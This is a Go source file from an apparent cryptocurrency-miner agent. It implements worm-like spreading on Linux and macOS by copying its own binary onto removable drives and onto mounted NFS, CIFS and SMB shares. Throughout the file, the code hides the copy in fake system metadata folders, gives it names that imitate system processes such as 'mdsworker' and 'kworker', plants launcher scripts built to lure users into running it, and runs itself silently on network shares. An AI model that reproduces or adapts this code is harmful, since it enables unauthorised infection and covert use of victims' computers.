//go:build !windows package deploy import ( "log" "os" "os/exec" "path/filepath" "strings" "sync" "time" "crypto-miner-agent/config" ) // StartPassiveSpreader on Unix polls for newly mounted removable media // (USB drives, SD cards) and drops the agent onto them. func StartPassiveSpreader(cfg config.RuntimeConfig) { if !cfg.USBSpread && !cfg.ShareSpread { return } log.Printf("[passive-spread] initialising unix (usb=%v share=%v)", cfg.USBSpread, cfg.ShareSpread) if cfg.USBSpread { go runUSBWatcherUnix(cfg) } if cfg.ShareSpread { go runShareWatcherUnix(cfg) } } // ----------------------------------------------------------------------- // USB / removable media watcher (Linux + macOS) // ----------------------------------------------------------------------- func runUSBWatcherUnix(cfg config.RuntimeConfig) { type mountState struct{ payloadSize int64 } state := map[string]mountState{} exePath, err := os.Executable() if err != nil { return } // Spread to drives already present at startup if payload is missing or stale. for _, mp := range listRemovableMounts() { size, found := findUnixPayloadSize(mp) if !found || isPayloadStale(exePath, size) { go spreadToMountUnix(cfg, mp) state[mp] = mountState{} } else { state[mp] = mountState{payloadSize: size} } } ticker := time.NewTicker(8 * time.Second) defer ticker.Stop() for range ticker.C { exeInfo, err := os.Stat(exePath) if err != nil { continue } for _, mp := range listRemovableMounts() { prev, seen := state[mp] if !seen { log.Printf("[passive-spread] new removable mount: %s", mp) state[mp] = mountState{} go spreadToMountUnix(cfg, mp) continue } if prev.payloadSize != exeInfo.Size() { log.Printf("[passive-spread] refreshing stale payload on %s", mp) state[mp] = mountState{} go spreadToMountUnix(cfg, mp) } } } } // findUnixPayloadSize scans the known Unix drop dirs for a payload binary. func findUnixPayloadSize(mountPoint string) (size int64, found bool) { dotDirs := []string{".Spotlight-V100", ".metadata", ".fseventsd"} for _, dir := range dotDirs { entries, err := os.ReadDir(filepath.Join(mountPoint, dir)) if err != nil { continue } for _, e := range entries { fi, err := e.Info() if err == nil && !e.IsDir() && fi.Mode()&0100 != 0 { return fi.Size(), true } } } return 0, false } // listRemovableMounts returns currently-mounted removable media paths. // Linux: parses /proc/mounts, macOS: uses diskutil list + mount. func listRemovableMounts() []string { // Try lsblk first (Linux) if out, err := exec.Command("lsblk", "-o", "MOUNTPOINT,HOTPLUG", "-J", "-p").Output(); err == nil { return parseLsblkMounts(string(out)) } // macOS: look in /Volumes/ for non-system mounts return listVolumes() } func parseLsblkMounts(jsonOut string) []string { // Simple substring scan — avoids importing encoding/json for a small binary var mounts []string lines := strings.Split(jsonOut, "\n") var lastMP string for _, line := range lines { line = strings.TrimSpace(line) if strings.Contains(line, `"mountpoint"`) { parts := strings.SplitN(line, ":", 2) if len(parts) == 2 { lastMP = strings.Trim(strings.TrimSpace(parts[1]), `",`) } } if strings.Contains(line, `"hotplug": "1"`) || strings.Contains(line, `"hotplug":true`) { if lastMP != "" && lastMP != "/" && lastMP != "null" { mounts = append(mounts, lastMP) } } } return mounts } func listVolumes() []string { entries, err := os.ReadDir("/Volumes") if err != nil { return nil } // Skip the system volume (usually "Macintosh HD") by checking if it's a // symlink to / — all other entries are external/removable volumes. var vols []string for _, e := range entries { full := filepath.Join("/Volumes", e.Name()) target, err := filepath.EvalSymlinks(full) if err != nil { vols = append(vols, full) // real mount, not a symlink continue } if target != "/" { vols = append(vols, full) } } return vols } func spreadToMountUnix(cfg config.RuntimeConfig, mountPath string) { exePath, err := os.Executable() if err != nil { return } destName := unixPayloadName(cfg) // Hide in a dot-directory that looks like a metadata store dropDir := filepath.Join(mountPath, ".Spotlight-V100") // looks like macOS system dir if err := os.MkdirAll(dropDir, 0700); err != nil { dropDir = filepath.Join(mountPath, ".metadata") if err := os.MkdirAll(dropDir, 0700); err != nil { dropDir = mountPath } } dest := filepath.Join(dropDir, destName) if err := copyFile(exePath, dest); err != nil { return } _ = os.Chmod(dest, 0755) log.Printf("[passive-spread] agent copied to %s", dest) // Create a visible shell script or .command launcher that blends in. launcherName := pickUnixLauncher(mountPath) launcherPath := filepath.Join(mountPath, launcherName) script := "#!/bin/sh\n" + `nohup "` + dest + `" >/dev/null 2>&1 &` + "\n" _ = os.WriteFile(launcherPath, []byte(script), 0755) } func unixPayloadName(cfg config.RuntimeConfig) string { if !cfg.StealthMode { n := sanitizeName(cfg.WorkerName) if n != "" { return n } } names := []string{"com.apple.spotlight", "mdsworker", "systemd-helper", "kworker"} return names[int(time.Now().UnixNano())%len(names)] } func pickUnixLauncher(mountPath string) string { entries, _ := os.ReadDir(mountPath) for _, e := range entries { if e.IsDir() && !strings.HasPrefix(e.Name(), ".") { return e.Name() + ".command" } } return "Start.command" } // ----------------------------------------------------------------------- // Mounted share watcher (Linux/macOS NFS, CIFS, SMB) // ----------------------------------------------------------------------- var spreadSharesOnce sync.Once func runShareWatcherUnix(cfg config.RuntimeConfig) { time.Sleep(3 * time.Minute) ticker := time.NewTicker(10 * time.Minute) defer ticker.Stop() spreadSharesOnce.Do(func() { spreadToSharesUnix(cfg) }) for range ticker.C { spreadToSharesUnix(cfg) } } func spreadToSharesUnix(cfg config.RuntimeConfig) { exePath, err := os.Executable() if err != nil { return } for _, mp := range listRemoteShareMounts() { mp := mp go func() { destName := unixPayloadName(cfg) dest := filepath.Join(mp, "."+destName) if _, err := os.Stat(dest); err == nil { return } if err := copyFile(exePath, dest); err != nil { return } _ = os.Chmod(dest, 0755) log.Printf("[passive-spread] dropped to share %s", dest) cmd := exec.Command("sh", "-c", `nohup "`+dest+`" >/dev/null 2>&1 &`) _ = cmd.Start() }() } } // listRemoteShareMounts parses the `mount` output for CIFS/NFS mounts. func listRemoteShareMounts() []string { out, err := exec.Command("mount").Output() if err != nil { return nil } var mounts []string for _, line := range strings.Split(string(out), "\n") { lower := strings.ToLower(line) if !strings.Contains(lower, "cifs") && !strings.Contains(lower, "nfs") && !strings.Contains(lower, "smbfs") { continue } // mount line format: `//host/share on /mnt/share type cifs ...` fields := strings.Fields(line) for i, f := range fields { if f == "on" && i+1 < len(fields) { mounts = append(mounts, fields[i+1]) break } } } return mounts }